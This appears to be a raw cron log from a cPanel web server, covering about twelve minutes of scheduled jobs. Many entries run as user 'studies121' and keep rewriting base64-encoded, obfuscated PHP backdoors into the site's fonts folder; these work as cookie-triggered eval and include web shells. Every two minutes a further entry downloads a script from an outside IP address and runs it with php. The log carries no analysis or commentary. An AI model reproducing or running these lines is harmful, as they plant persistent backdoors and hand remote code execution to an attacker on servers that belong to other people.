Sep 10 07:34:01 ip-184-168-122-23 CROND[27683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:34:01 ip-184-168-122-23 CROND[27681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:35:01 ip-184-168-122-23 CROND[27795]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:35:01 ip-184-168-122-23 CROND[27797]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 07:35:01 ip-184-168-122-23 CROND[27801]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:35:01 ip-184-168-122-23 CROND[27799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:35:01 ip-184-168-122-23 CROND[27798]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 07:35:01 ip-184-168-122-23 CROND[27802]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 07:35:01 ip-184-168-122-23 CROND[27803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:35:01 ip-184-168-122-23 CROND[27800]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 07:36:01 ip-184-168-122-23 CROND[27908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:36:01 ip-184-168-122-23 CROND[27909]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:36:01 ip-184-168-122-23 CROND[27910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:36:01 ip-184-168-122-23 CROND[27907]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 07:36:01 ip-184-168-122-23 CROND[27911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:37:01 ip-184-168-122-23 CROND[28112]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:37:01 ip-184-168-122-23 CROND[28114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:37:01 ip-184-168-122-23 CROND[28115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:37:01 ip-184-168-122-23 CROND[28116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:38:01 ip-184-168-122-23 CROND[28233]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:38:01 ip-184-168-122-23 CROND[28235]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 07:38:01 ip-184-168-122-23 CROND[28236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:38:01 ip-184-168-122-23 CROND[28237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:38:01 ip-184-168-122-23 CROND[28239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:39:01 ip-184-168-122-23 CROND[28335]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:39:01 ip-184-168-122-23 CROND[28336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:39:01 ip-184-168-122-23 CROND[28337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:39:01 ip-184-168-122-23 CROND[28338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:39:01 ip-184-168-122-23 CROND[28339]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 07:40:01 ip-184-168-122-23 CROND[28460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:40:01 ip-184-168-122-23 CROND[28462]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 07:40:01 ip-184-168-122-23 CROND[28463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:40:01 ip-184-168-122-23 CROND[28467]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:40:01 ip-184-168-122-23 CROND[28464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:40:01 ip-184-168-122-23 CROND[28466]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 07:40:01 ip-184-168-122-23 CROND[28468]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 07:40:01 ip-184-168-122-23 CROND[28465]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 07:41:01 ip-184-168-122-23 CROND[28576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:41:01 ip-184-168-122-23 CROND[28574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:41:01 ip-184-168-122-23 CROND[28575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:41:01 ip-184-168-122-23 CROND[28577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:42:01 ip-184-168-122-23 CROND[28702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:42:01 ip-184-168-122-23 CROND[28703]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 07:42:01 ip-184-168-122-23 CROND[28706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:42:01 ip-184-168-122-23 CROND[28707]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:42:01 ip-184-168-122-23 CROND[28708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:43:01 ip-184-168-122-23 CROND[28887]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:43:01 ip-184-168-122-23 CROND[28890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:43:01 ip-184-168-122-23 CROND[28891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:43:01 ip-184-168-122-23 CROND[28889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:44:01 ip-184-168-122-23 CROND[28977]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:44:01 ip-184-168-122-23 CROND[28980]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:44:01 ip-184-168-122-23 CROND[28981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:44:01 ip-184-168-122-23 CROND[28979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:44:01 ip-184-168-122-23 CROND[28982]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 07:45:01 ip-184-168-122-23 CROND[29118]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 07:45:01 ip-184-168-122-23 CROND[29119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 07:45:01 ip-184-168-122-23 CROND[29120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:45:01 ip-184-168-122-23 CROND[29123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:45:01 ip-184-168-122-23 CROND[29122]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:45:01 ip-184-168-122-23 CROND[29121]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 07:46:01 ip-184-168-122-23 CROND[29226]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 07:46:01 ip-184-168-122-23 CROND[29228]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 07:46:01 ip-184-168-122-23 CROND[29229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 07:46:01 ip-184-168-122-23 CROND[29231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 07:46:01 ip-184-168-122-23 CROND[29230]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 07:46:02 ip-184-168-122-23 CROND[29233]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
